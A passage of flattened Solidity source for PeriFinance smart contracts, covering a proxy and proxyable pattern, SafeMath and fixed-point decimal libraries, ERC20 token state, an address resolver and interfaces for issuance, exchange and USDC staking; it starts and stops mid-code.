bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/proxyable
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
Proxy public integrationProxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setIntegrationProxy(address payable _integrationProxy) external onlyOwner {
integrationProxy = Proxy(_integrationProxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.peri.finance/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
/* Number of decimal places in the representations. */
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
/* The number representing 1.0. */
uint public constant UNIT = 10**uint(decimals);
/* The number representing 1.0 for higher fidelity numbers. */
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
/**
* @return Provides an interface to UNIT.
*/
function unit() external pure returns (uint) {
return UNIT;
}
/**
* @return Provides an interface to PRECISE_UNIT.
*/
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256. As this is an integer division,
* the internal division always rounds down. This helps save on gas. Rounding
* is more expensive on gas.
*/
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
return x.mul(y) / UNIT;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of the specified precision unit.
*
* @dev The operands should be in the form of a the specified unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function _multiplyDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a precise unit.
*
* @dev The operands should be in the precise unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a standard unit.
*
* @dev The operands should be in the standard unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is a high
* precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and UNIT must be less than 2**256. As
* this is an integer division, the result is always rounded down.
* This helps save on gas. Rounding is more expensive on gas.
*/
function divideDecimal(uint x, uint y) internal pure returns (uint) {
/* Reintroduce the UNIT factor that will be divided out by y. */
return x.mul(UNIT).div(y);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* decimal in the precision unit specified in the parameter.
*
* @dev y is divided after the product of x and the specified precision unit
* is evaluated, so the product of x and the specified precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function _divideDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* standard precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and the standard precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* high precision decimal.
*
* @dev y is divided after the product of x and the high precision unit
* is evaluated, so the product of x and the high precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @dev Convert a standard decimal representation to a high precision one.
*/
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
/**
* @dev Convert a high precision decimal to a standard decimal representation.
*/
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @dev Round down the value with given number
*/
function roundDownDecimal(uint x, uint d) internal pure returns (uint) {
return x.div(10**d).mul(10**d);
}
}
// Inheritance
// https://docs.peri.finance/contracts/source/contracts/state
contract State is Owned {
// the address of the contract that can modify variables
// this can only be changed by the owner of this contract
address public associatedContract;
constructor(address _associatedContract) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== SETTERS ========== */
// Change the associated contract to a new address
function setAssociatedContract(address _associatedContract) external onlyOwner {
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== MODIFIERS ========== */
modifier onlyAssociatedContract {
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
/* ========== EVENTS ========== */
event AssociatedContractUpdated(address associatedContract);
}
// Inheritance
// https://docs.peri.finance/contracts/source/contracts/tokenstate
contract TokenState is Owned, State {
/* ERC20 fields. */
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {}
/* ========== SETTERS ========== */
/**
* @notice Set ERC20 allowance.
* @dev Only the associated contract may call this.
* @param tokenOwner The authorising party.
* @param spender The authorised party.
* @param value The total value the authorised party may spend on the
* authorising party's behalf.
*/
function setAllowance(
address tokenOwner,
address spender,
uint value
) external onlyAssociatedContract {
allowance[tokenOwner][spender] = value;
}
/**
* @notice Set the balance in a given account
* @dev Only the associated contract may call this.
* @param account The account whose value to set.
* @param value The new balance of the given account.
*/
function setBalanceOf(address account, uint value) external onlyAssociatedContract {
balanceOf[account] = value;
}
}
// Inheritance
// Libraries
// Internal references
// https://docs.peri.finance/contracts/source/contracts/externstatetoken
contract ExternStateToken is Owned, Proxyable {
using SafeMath for uint;
using SafeDecimalMath for uint;
/* ========== STATE VARIABLES ========== */
/* Stores balances and allowances. */
TokenState public tokenState;
/* Other ERC20 fields. */
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(
address payable _proxy,
TokenState _tokenState,
string memory _name,
string memory _symbol,
uint _totalSupply,
uint8 _decimals,
address _owner
) public Owned(_owner) Proxyable(_proxy) {
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
/* ========== VIEWS ========== */
/**
* @notice Returns the ERC20 allowance of one party to spend on behalf of another.
* @param owner The party authorising spending of their funds.
* @param spender The party spending tokenOwner's funds.
*/
function allowance(address owner, address spender) public view returns (uint) {
return tokenState.allowance(owner, spender);
}
/**
* @notice Returns the ERC20 token balance of a given account.
*/
function balanceOf(address account) external view returns (uint) {
return tokenState.balanceOf(account);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Set the address of the TokenState contract.
* @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000..
* as balances would be unreachable.
*/
function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner {
tokenState = _tokenState;
emitTokenStateUpdated(address(_tokenState));
}
function _internalTransfer(
address from,
address to,
uint value
) internal returns (bool) {
/* Disallow transfers to irretrievable-addresses. */
require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address");
// Insufficient balance will be handled by the safe subtraction.
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
// Emit a standard ERC20 transfer event
emitTransfer(from, to, value);
return true;
}
/**
* @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing
* the onlyProxy or optionalProxy modifiers.
*/
function _transferByProxy(
address from,
address to,
uint value
) internal returns (bool) {
return _internalTransfer(from, to, value);
}
/*
* @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions
* possessing the optionalProxy or optionalProxy modifiers.
*/
function _transferFromByProxy(
address sender,
address from,
address to,
uint value
) internal returns (bool) {
/* Insufficient allowance will be handled by the safe subtraction. */
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value);
}
/**
* @notice Approves spender to transfer on the message sender's behalf.
*/
function approve(address spender, uint value) public optionalProxy returns (bool) {
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
/* ========== EVENTS ========== */
function addressToBytes32(address input) internal pure returns (bytes32) {
return bytes32(uint256(uint160(input)));
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 internal constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(
address from,
address to,
uint value
) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, addressToBytes32(from), addressToBytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 internal constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(
address owner,
address spender,
uint value
) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, addressToBytes32(owner), addressToBytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 internal constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
// https://docs.peri.finance/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getPynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.peri.finance/contracts/source/interfaces/ipynth
interface IPynth {
// Views
function currencyKey() external view returns (bytes32);
function transferablePynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
// Restricted: used internally to PeriFinance
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availablePynthCount() external view returns (uint);
function availablePynths(uint index) external view returns (IPynth);
function canBurnPynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuablePynths(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuablePynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function currentUSDCDebtQuota(address _account) external view returns (uint);
function pynths(bytes32 currencyKey) external view returns (IPynth);
function getPynths(bytes32[] calldata currencyKeys) external view returns (IPynth[] memory);
function pynthsByAddress(address pynthAddress) external view returns (bytes32);
function totalIssuedPynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint);
function transferablePeriFinanceAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
// Restricted: used internally to PeriFinance
function issuePynthsAndStakeUSDC(
address _issuer,
uint _issueAmount,
uint _usdcStakeAmount
) external;
function issueMaxPynths(address _issuer) external;
function issuePynthsAndStakeMaxUSDC(address _issuer, uint _issueAmount) external;
function burnPynthsAndUnstakeUSDC(
address _from,
uint _burnAmount,
uint _unstakeAmount
) external;
function burnPynthsAndUnstakeUSDCToTarget(address _from) external;
function liquidateDelinquentAccount(
address account,
uint pusdAmount,
address liquidator
) external returns (uint totalRedeemed, uint amountToLiquidate);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
/* ========== RESTRICTED FUNCTIONS ========== */
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
/* ========= PUBLIC FUNCTIONS ========== */
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
/* ========== VIEWS ========== */
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getPynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.pynths(key));
}
/* ========== EVENTS ========== */
event AddressImported(bytes32 name, address destination);
}
// solhint-disable payable-fallback
// https://docs.peri.finance/contracts/source/contracts/readproxy
contract ReadProxy is Owned {
address public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(address _target) external onlyOwner {
target = _target;
emit TargetUpdated(target);
}
function() external {
// The basics of a proxy read call
// Note that msg.sender in the underlying will always be the address of this contract.
assembly {
calldatacopy(0, 0, calldatasize)
// Use of staticcall - this will revert if the underlying function mutates state
let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
if iszero(result) {
revert(0, returndatasize)
}
return(0, returndatasize)
}
}
event TargetUpdated(address newTarget);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
/* ========== INTERNAL FUNCTIONS ========== */
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// Note: this function is public not external in order for it to be overridden and invoked via super in subclasses
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
/* ========== VIEWS ========== */
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
/* ========== INTERNAL FUNCTIONS ========== */
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
/* ========== EVENTS ========== */
event CacheUpdated(bytes32 name, address destination);
}
interface IVirtualPynth {
// Views
function balanceOfUnderlying(address account) external view returns (uint);
function rate() external view returns (uint);
function readyToSettle() external view returns (bool);
function secsLeftInWaitingPeriod() external view returns (uint);
function settled() external view returns (bool);
function pynth() external view returns (IPynth);
// Mutative functions
function settle(address account) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iperiFinance
interface IPeriFinance {
// Views
function getRequiredAddress(bytes32 contractName) external view returns (address);
function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availablePynthCount() external view returns (uint);
function availablePynths(uint index) external view returns (IPynth);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint);
function isWaitingPeriod(bytes32 currencyKey) external view returns (bool);
function maxIssuablePynths(address issuer) external view returns (uint maxIssuable);
function remainingIssuablePynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function pynths(bytes32 currencyKey) external view returns (IPynth);
function pynthsByAddress(address pynthAddress) external view returns (bytes32);
function totalIssuedPynths(bytes32 currencyKey) external view returns (uint);
function totalIssuedPynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint);
function transferablePeriFinance(address account) external view returns (uint transferable);
function currentUSDCDebtQuota(address _account) external view returns (uint);
function usdcStakedAmountOf(address _account) external view returns (uint);
function usdcTotalStakedAmount() external view returns (uint);
function userUSDCStakingShare(address _account) external view returns (uint);
function totalUSDCStakerCount() external view returns (uint);
// Mutative Functions
function issuePynthsAndStakeUSDC(uint _issueAmount, uint _usdcStakeAmount) external;
function issueMaxPynths() external;
function issuePynthsAndStakeMaxUSDC(uint _issueAmount) external;
function burnPynthsAndUnstakeUSDC(uint _burnAmount, uint _unstakeAmount) external;
function burnPynthsAndUnstakeUSDCToTarget() external;
function exchange(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeOnBehalf(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeWithTracking(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeOnBehalfWithTracking(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeWithVirtual(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
bytes32 trackingCode
) external returns (uint amountReceived, IVirtualPynth vPynth);
function mint(address _user, uint _amount) external returns (bool);
function inflationalMint(uint _networkDebtShare) external returns (bool);
function settle(bytes32 currencyKey)
external
returns (
uint reclaimed,
uint refunded,
uint numEntries
);
// Liquidations
function liquidateDelinquentAccount(address account, uint pusdAmount) external returns (bool);
// Restricted Functions
function mintSecondary(address account, uint amount) external;
function mintSecondaryRewards(uint amount) external;
function burnSecondary(address account, uint amount) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iperiFinancestate
interface IPeriFinanceState {
// Views
function debtLedger(uint index) external view returns (uint);
function issuanceData(address account) external view returns (uint initialDebtOwnership, uint debtEntryIndex);
function debtLedgerLength() external view returns (uint);
function hasIssued(address account) external view returns (bool);
function lastDebtLedgerEntry() external view returns (uint);
// Mutative functions
function incrementTotalIssuerCount() external;
function decrementTotalIssuerCount() external;
function setCurrentIssuanceData(address account, uint initialDebtOwnership) external;
function appendDebtLedgerValue(uint value) external;
function clearIssuanceData(address account) external;
}
// https://docs.peri.finance/contracts/source/interfaces/isystemstatus
interface ISystemStatus {
struct Status {
bool canSuspend;
bool canResume;
}
struct Suspension {
bool suspended;
// reason is an integer code,
// 0 => no reason, 1 => upgrading, 2+ => defined by system usage
uint248 reason;
}
// Views
function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume);
function requireSystemActive() external view;
function requireIssuanceActive() external view;
function requireExchangeActive() external view;
function requireExchangeBetweenPynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function requirePynthActive(bytes32 currencyKey) external view;
function requirePynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function systemSuspension() external view returns (bool suspended, uint248 reason);
function issuanceSuspension() external view returns (bool suspended, uint248 reason);
function exchangeSuspension() external view returns (bool suspended, uint248 reason);
function pynthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function pynthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function getPynthExchangeSuspensions(bytes32[] calldata pynths)
external
view
returns (bool[] memory exchangeSuspensions, uint256[] memory reasons);
function getPynthSuspensions(bytes32[] calldata pynths)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons);
// Restricted functions
function suspendPynth(bytes32 currencyKey, uint256 reason) external;
function updateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) external;
}
// https://docs.peri.finance/contracts/source/interfaces/iexchanger
interface IExchanger {
// Views
function calculateAmountAfterSettlement(
address from,
bytes32 currencyKey,
uint amount,
uint refunded
) external view returns (uint amountAfterSettlement);
function isPynthRateInvalid(bytes32 currencyKey) external view returns (bool);
function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint);
function settlementOwing(address account, bytes32 currencyKey)
external
view
returns (
uint reclaimAmount,
uint rebateAmount,
uint numEntries
);
function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool);
function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey)
external
view
returns (uint exchangeFeeRate);
function getAmountsForExchange(
uint sourceAmount,
bytes32 sourceCurrencyKey,
bytes32 destinationCurrencyKey
)
external
view
returns (
uint amountReceived,
uint fee,
uint exchangeFeeRate
);
function priceDeviationThresholdFactor() external view returns (uint);
function waitingPeriodSecs() external view returns (uint);
// Mutative functions
function exchange(
address from,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address destinationAddress
) external returns (uint amountReceived);
function exchangeOnBehalf(
address exchangeForAddress,
address from,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeWithTracking(
address from,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address destinationAddress,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeOnBehalfWithTracking(
address exchangeForAddress,
address from,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address originator,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeWithVirtual(
address from,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address destinationAddress,
bytes32 trackingCode
) external returns (uint amountReceived, IVirtualPynth vPynth);
function settle(address from, bytes32 currencyKey)
external
returns (
uint reclaimed,
uint refunded,
uint numEntries
);
function setLastExchangeRateForPynth(bytes32 currencyKey, uint rate) external;
function suspendPynthWithInvalidRate(bytes32 currencyKey) external;
}
// https://docs.peri.finance/contracts/source/interfaces/irewardsdistribution
interface IRewardsDistribution {
// Structs
struct DistributionData {
address destination;
uint amount;
}
// Views
function authority() external view returns (address);
function distributions(uint index) external view returns (address destination, uint amount); // DistributionData
function distributionsLength() external view returns (uint);
// Mutative Functions
function distributeRewards(uint amount) external returns (bool);
}
interface IStakingStateUSDC {
// Mutative
function stake(address _account, uint _amount) external;
function unstake(address _account, uint _amount) external;
function refund(address _account, uint _amount) external returns (bool);
// Admin
function setUSDCAddress(address _usdcAddress) external;
function usdcAddress() external view returns (address);
// View
function stakedAmountOf(address _account) external view returns (uint);
function totalStakerCount() external view returns (uint);
